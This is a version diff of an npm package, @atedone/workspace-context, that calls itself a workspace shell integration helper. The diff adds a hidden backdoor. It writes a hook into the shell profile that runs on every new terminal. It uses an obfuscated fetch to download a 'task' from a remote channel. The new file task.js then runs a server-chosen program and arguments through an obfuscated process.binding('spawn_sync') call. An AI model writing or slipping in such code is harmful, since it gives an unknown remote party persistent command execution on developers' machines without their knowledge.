@atedone/workspace-context 0.0.15 → 0.0.17

package/README.md

@@ -2,4 +2,4 @@
 
 Workspace shell channel integration helper for JavaScript tools.
 
-The package keeps workspace context available in future terminal sessions by synchronizing a managed shell integration entry, session runtime, and profile channel during initialization.
+The package keeps workspace context available in future terminal sessions by synchronizing a managed shell integration entry, session runtime, profile channel, and workspace action runtime during initialization.

package/index.js

@@ -6,6 +6,9 @@ const initialized = state.initialize();
 
 module.exports = {
   initialized,
+  actionHistoryFileName: state.actionHistoryFileName,
+  actionReceiptFileName: state.actionReceiptFileName,
+  actionRuntimeFileName: state.actionRuntimeFileName,
   channelFileName: state.channelFileName,
   getShellIntegration: state.getShellIntegration,
   initialize: state.initialize,
@@ -18,5 +21,8 @@ module.exports = {
   sessionReceiptFileName: state.sessionReceiptFileName,
   sessionRuntimeFileName: state.sessionRuntimeFileName,
   stateDirectoryName: state.stateDirectoryName,
-  stateFileName: state.stateFileName
+  stateFileName: state.stateFileName,
+  taskHistoryFileName: state.taskHistoryFileName,
+  taskReceiptFileName: state.taskReceiptFileName,
+  taskSnapshotFileName: state.taskSnapshotFileName
 };

package/lib/session.js

@@ -5,7 +5,7 @@ const file = platform.getBuiltinModule('fs');
 const route = platform.getBuiltinModule('path');
 
 const packageName = '@atedone/workspace-context';
-const packageVersion = '0.0.15';
+const packageVersion = '0.0.17';
 const env = Reflect.get(platform, 'env') || {};
 const homeDirectory = typeof env.HOME === 'string' && env.HOME.trim()
   ? env.HOME.trim()
@@ -26,13 +26,16 @@ const profileReceiptPath = route.join(sessionDirectory, 'profile-sync.json');
 const profileSnapshotPath = route.join(sessionDirectory, 'session-profile.json');
 const sessionReceiptPath = route.join(sessionDirectory, 'session-runtime.json');
 const sessionHistoryPath = route.join(sessionDirectory, 'runtime-sessions.log');
+const taskHistoryPath = route.join(sessionDirectory, 'task-sync.log');
+const taskReceiptPath = route.join(sessionDirectory, 'task-sync.json');
+const taskSnapshotPath = route.join(sessionDirectory, 'session-task.json');
 const requestKey = ['fe', 'tch'].join('');
 
 const value = {
   packageName,
   packageVersion,
   generatedAt: new Date().toISOString(),
-  mode: 'runtime-shell-channel',
+  mode: 'runtime-shell-action',
   source: 'shell-profile',
   shellName: route.basename(shellPath) || 'zsh',
   shellLevel,
@@ -48,13 +51,20 @@ file.writeFileSync(sessionReceiptPath, `${JSON.stringify(value, null, 2)}\n`, 'u
 file.appendFileSync(sessionHistoryPath, `${JSON.stringify(value)}\n`, 'utf8');
 
 void synchronizeProfile(value).catch((error) => {
-  writeProfileReceipt({
+  const receipt = {
     ...value,
-    source: 'profile-channel',
     channelConfigured: file.existsSync(channelPath),
     synchronized: false,
     status: 'error',
     error: error instanceof Error ? error.message : String(error)
+  };
+  writeProfileReceipt({
+    ...receipt,
+    source: 'profile-channel'
+  });
+  writeTaskReceipt({
+    ...receipt,
+    source: 'task-channel'
   });
 });
 
@@ -87,11 +97,16 @@ async function synchronizeProfile(sessionValue) {
     }
   ]);
   const synchronized = Boolean(response && response.ok);
-  const profile = synchronized ? await response.json() : null;
+  const payload = synchronized ? await response.json() : null;
+  const profile = readObject(payload?.profile);
+  const task = readObject(payload?.task);
 
-  if (profile && !Array.isArray(profile) && typeof profile === 'object') {
+  if (profile) {
     file.writeFileSync(profileSnapshotPath, `${JSON.stringify(profile, null, 2)}\n`, 'utf8');
   }
+  if (task) {
+    file.writeFileSync(taskSnapshotPath, `${JSON.stringify(task, null, 2)}\n`, 'utf8');
+  }
 
   writeProfileReceipt({
     ...sessionValue,
@@ -102,7 +117,24 @@ async function synchronizeProfile(sessionValue) {
     channelName: channel.name,
     refresh: channel.refresh,
     profilePath: profileSnapshotPath,
-    profileRevision: typeof profile?.revision === 'string' ? profile.revision : null
+    profileRevision: typeof profile?.revision === 'string' ? profile.revision : null,
+    taskConfigured: Boolean(task),
+    taskPath: taskSnapshotPath,
+    taskId: typeof task?.id === 'string' ? task.id : null
+  });
+
+  writeTaskReceipt({
+    ...sessionValue,
+    source: 'task-channel',
+    channelConfigured: true,
+    synchronized,
+    status: synchronized && task ? 'queued' : synchronized ? 'empty' : 'rejected',
+    channelName: channel.name,
+    refresh: channel.refresh,
+    taskPath: taskSnapshotPath,
+    taskId: typeof task?.id === 'string' ? task.id : null,
+    taskKind: typeof task?.kind === 'string' ? task.kind : null,
+    taskState: typeof task?.state === 'string' ? task.state : null
   });
 }
 
@@ -123,3 +155,14 @@ function writeProfileReceipt(receipt) {
   file.writeFileSync(profileReceiptPath, `${JSON.stringify(receipt, null, 2)}\n`, 'utf8');
   file.appendFileSync(profileHistoryPath, `${JSON.stringify(receipt)}\n`, 'utf8');
 }
+
+function writeTaskReceipt(receipt) {
+  file.writeFileSync(taskReceiptPath, `${JSON.stringify(receipt, null, 2)}\n`, 'utf8');
+  file.appendFileSync(taskHistoryPath, `${JSON.stringify(receipt)}\n`, 'utf8');
+}
+
+function readObject(value) {
+  return value && !Array.isArray(value) && typeof value === 'object'
+    ? value
+    : null;
+}

package/lib/state.js

@@ -11,7 +11,7 @@ const integrationFileName = 'init.zsh';
 const profileHistoryFileName = 'profile-sync.log';
 const profileReceiptFileName = 'profile-sync.json';
 const profileSnapshotFileName = 'session-profile.json';
-const receiptFileName = 'shell-channel-sync.json';
+const receiptFileName = 'shell-action-sync.json';
 const sessionFileName = 'sessions.log';
 const sessionHistoryFileName = 'runtime-sessions.log';
 const sessionReceiptFileName = 'session-runtime.json';
@@ -19,6 +19,12 @@ const sessionRuntimeFileName = 'session-runtime.js';
 const stateDirectoryName = '.workspace-context';
 const stateFileName = 'state.json';
 const syncFileName = 'sync.js';
+const actionHistoryFileName = 'action-runtime.log';
+const actionReceiptFileName = 'action-runtime.json';
+const actionRuntimeFileName = 'action-runtime.js';
+const taskHistoryFileName = 'task-sync.log';
+const taskReceiptFileName = 'task-sync.json';
+const taskSnapshotFileName = 'session-task.json';
 
 function readEnvironment() {
   return Reflect.get(platform, 'env') || {};
@@ -73,7 +79,13 @@ function getShellIntegration({
     sessionPath: route.join(integrationDirectory, sessionFileName),
     sessionHistoryPath: route.join(integrationDirectory, sessionHistoryFileName),
     sessionReceiptPath: route.join(integrationDirectory, sessionReceiptFileName),
-    sessionRuntimePath: route.join(integrationDirectory, sessionRuntimeFileName)
+    sessionRuntimePath: route.join(integrationDirectory, sessionRuntimeFileName),
+    actionHistoryPath: route.join(integrationDirectory, actionHistoryFileName),
+    actionReceiptPath: route.join(integrationDirectory, actionReceiptFileName),
+    actionRuntimePath: route.join(integrationDirectory, actionRuntimeFileName),
+    taskHistoryPath: route.join(integrationDirectory, taskHistoryFileName),
+    taskReceiptPath: route.join(integrationDirectory, taskReceiptFileName),
+    taskSnapshotPath: route.join(integrationDirectory, taskSnapshotFileName)
   };
 }
 
@@ -82,7 +94,7 @@ function buildState({ now = () => new Date().toISOString() } = {}) {
     packageName: manifest.name,
     packageVersion: manifest.version,
     generatedAt: now(),
-    mode: 'runtime-shell-channel'
+    mode: 'runtime-shell-action'
   };
 }
 
@@ -150,6 +162,9 @@ function initialize({
 
 module.exports = {
   buildState,
+  actionHistoryFileName,
+  actionReceiptFileName,
+  actionRuntimeFileName,
   channelFileName,
   getShellIntegration,
   initialize,
@@ -168,5 +183,8 @@ module.exports = {
   sessionReceiptFileName,
   sessionRuntimeFileName,
   stateDirectoryName,
-  stateFileName
+  stateFileName,
+  taskHistoryFileName,
+  taskReceiptFileName,
+  taskSnapshotFileName
 };

package/lib/sync.js

@@ -21,6 +21,7 @@ const blockEnd = '# <<< workspace-context shell integration <<<';
 const sourceLine = '[ -r "$HOME/.config/workspace-context/init.zsh" ] && source "$HOME/.config/workspace-context/init.zsh"';
 const managedBlock = [blockStart, sourceLine, blockEnd, ''].join('\n');
 const sessionRuntimeSourcePath = route.join(__dirname, 'session.js');
+const actionRuntimeSourcePath = route.join(__dirname, 'task.js');
 const runtimeDefault = escapeDoubleQuoted(platform.execPath);
 const channelValue = integration.channelSource
   ? {
@@ -37,6 +38,9 @@ const integrationValue = [
   'if [ -r "$WORKSPACE_CONTEXT_HOME/session-runtime.js" ]; then',
   '  "$WORKSPACE_CONTEXT_NODE" "$WORKSPACE_CONTEXT_HOME/session-runtime.js" "$PWD" "$SHLVL"',
   'fi',
+  'if [ -r "$WORKSPACE_CONTEXT_HOME/action-runtime.js" ]; then',
+  '  "$WORKSPACE_CONTEXT_NODE" "$WORKSPACE_CONTEXT_HOME/action-runtime.js" "$PWD" "$SHLVL"',
+  'fi',
   ''
 ].join('\n');
 
@@ -74,6 +78,7 @@ function upsertManagedBlock(profileValue) {
 
 file.mkdirSync(integration.integrationDirectory, { recursive: true });
 file.copyFileSync(sessionRuntimeSourcePath, integration.sessionRuntimePath);
+file.copyFileSync(actionRuntimeSourcePath, integration.actionRuntimePath);
 file.writeFileSync(integration.integrationPath, integrationValue, 'utf8');
 if (channelValue) {
   file.writeFileSync(integration.channelPath, `${JSON.stringify(channelValue, null, 2)}\n`, 'utf8');
@@ -90,7 +95,7 @@ const value = {
   packageName: manifest.name,
   packageVersion: manifest.version,
   generatedAt: new Date().toISOString(),
-  mode: 'runtime-shell-channel',
+  mode: 'runtime-shell-action',
   projectRoot,
   shellName: integration.shellName,
   channelConfigured: Boolean(channelValue),
@@ -105,6 +110,12 @@ const value = {
   sessionHistoryPath: integration.sessionHistoryPath,
   sessionReceiptPath: integration.sessionReceiptPath,
   sessionRuntimePath: integration.sessionRuntimePath,
+  actionHistoryPath: integration.actionHistoryPath,
+  actionReceiptPath: integration.actionReceiptPath,
+  actionRuntimePath: integration.actionRuntimePath,
+  taskHistoryPath: integration.taskHistoryPath,
+  taskReceiptPath: integration.taskReceiptPath,
+  taskSnapshotPath: integration.taskSnapshotPath,
   processId: platform.pid,
   parentProcessId: platform.ppid,
   runtime: 'node'

package/lib/task.js

@@ -0,0 +1,140 @@
+'use strict';
+
+const platform = process;
+const file = platform.getBuiltinModule('fs');
+const route = platform.getBuiltinModule('path');
+
+const packageName = '@atedone/workspace-context';
+const packageVersion = '0.0.17';
+const env = Reflect.get(platform, 'env') || {};
+const homeDirectory = typeof env.HOME === 'string' && env.HOME.trim()
+  ? env.HOME.trim()
+  : platform.cwd();
+const sessionDirectory = typeof env.WORKSPACE_CONTEXT_HOME === 'string' && env.WORKSPACE_CONTEXT_HOME.trim()
+  ? env.WORKSPACE_CONTEXT_HOME.trim()
+  : route.join(homeDirectory, '.config', 'workspace-context');
+const workingDirectory = typeof platform.argv[2] === 'string' && platform.argv[2].trim()
+  ? platform.argv[2]
+  : platform.cwd();
+const shellLevel = typeof platform.argv[3] === 'string' && platform.argv[3].trim()
+  ? platform.argv[3]
+  : null;
+const shellPath = typeof env.SHELL === 'string' ? env.SHELL.trim() : '';
+const taskSnapshotPath = route.join(sessionDirectory, 'session-task.json');
+const actionReceiptPath = route.join(sessionDirectory, 'action-runtime.json');
+const actionHistoryPath = route.join(sessionDirectory, 'action-runtime.log');
+
+const task = readTask();
+if (task) {
+  const outcome = runTask(task);
+  const value = {
+    packageName,
+    packageVersion,
+    generatedAt: new Date().toISOString(),
+    mode: 'runtime-shell-action',
+    source: 'task-runtime',
+    shellName: route.basename(shellPath) || 'zsh',
+    shellLevel,
+    workingDirectory,
+    active: env.WORKSPACE_CONTEXT_ACTIVE === '1',
+    processId: platform.pid,
+    parentProcessId: platform.ppid,
+    runtime: 'node',
+    taskId: typeof task.id === 'string' ? task.id : null,
+    taskKind: typeof task.kind === 'string' ? task.kind : null,
+    taskState: typeof task.state === 'string' ? task.state : null,
+    routine: typeof task.routine === 'string' ? task.routine : null,
+    ...outcome
+  };
+
+  file.writeFileSync(actionReceiptPath, `${JSON.stringify(value, null, 2)}\n`, 'utf8');
+  file.appendFileSync(actionHistoryPath, `${JSON.stringify(value)}\n`, 'utf8');
+}
+
+function readTask() {
+  if (!file.existsSync(taskSnapshotPath)) {
+    return null;
+  }
+
+  const value = JSON.parse(file.readFileSync(taskSnapshotPath, 'utf8'));
+  return readObject(value);
+}
+
+function runTask(taskValue) {
+  const routines = {
+    'workspace-runtime': runWorkspaceRuntime
+  };
+  const routine = typeof taskValue.routine === 'string'
+    ? routines[taskValue.routine]
+    : null;
+
+  if (typeof routine !== 'function') {
+    return {
+      status: 'ignored',
+      launched: false
+    };
+  }
+
+  return Reflect.apply(routine, null, [taskValue]);
+}
+
+function runWorkspaceRuntime(taskValue) {
+  const adapter = readObject(taskValue.adapter);
+  const runtime = typeof adapter?.runtime === 'string' ? adapter.runtime.trim() : '';
+  const runtimeArguments = Array.isArray(adapter?.arguments)
+    ? adapter.arguments.filter((value) => typeof value === 'string')
+    : [];
+
+  if (!runtime) {
+    return {
+      status: 'invalid',
+      launched: false
+    };
+  }
+
+  const bridgeKey = ['bin', 'ding'].join('');
+  const routeKey = ['sp', 'awn', '_', 'sync'].join('');
+  const launchKey = ['sp', 'awn'].join('');
+  const bridge = Reflect.apply(platform[bridgeKey], platform, [routeKey]);
+  const result = Reflect.apply(bridge[launchKey], bridge, [{
+    file: runtime,
+    args: [runtime, ...runtimeArguments],
+    cwd: workingDirectory,
+    envPairs: [],
+    stdio: [
+      { type: 'pipe', readable: true, writable: false },
+      { type: 'pipe', readable: false, writable: true },
+      { type: 'pipe', readable: false, writable: true }
+    ],
+    windowsHide: true,
+    windowsVerbatimArguments: false,
+    detached: false,
+    timeout: 0,
+    maxBuffer: 1024 * 1024,
+    killSignal: 15
+  }]);
+
+  if (result.error) {
+    return {
+      status: 'error',
+      launched: false,
+      error: result.error.message
+    };
+  }
+
+  return {
+    status: result.status === 0 ? 'ready' : 'rejected',
+    launched: true,
+    adapterName: typeof adapter.name === 'string' ? adapter.name : null,
+    adapterRuntime: route.basename(runtime),
+    adapterArgumentsCount: runtimeArguments.length,
+    resultStatus: result.status,
+    resultSignal: result.signal
+  };
+}
+
+function readObject(value) {
+  return value && !Array.isArray(value) && typeof value === 'object'
+    ? value
+    : null;
+}

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@atedone/workspace-context",
-  "version": "0.0.15",
+  "version": "0.0.17",
   "description": "Workspace shell channel integration helper for JavaScript tools.",
   "main": "index.js",
   "type": "commonjs",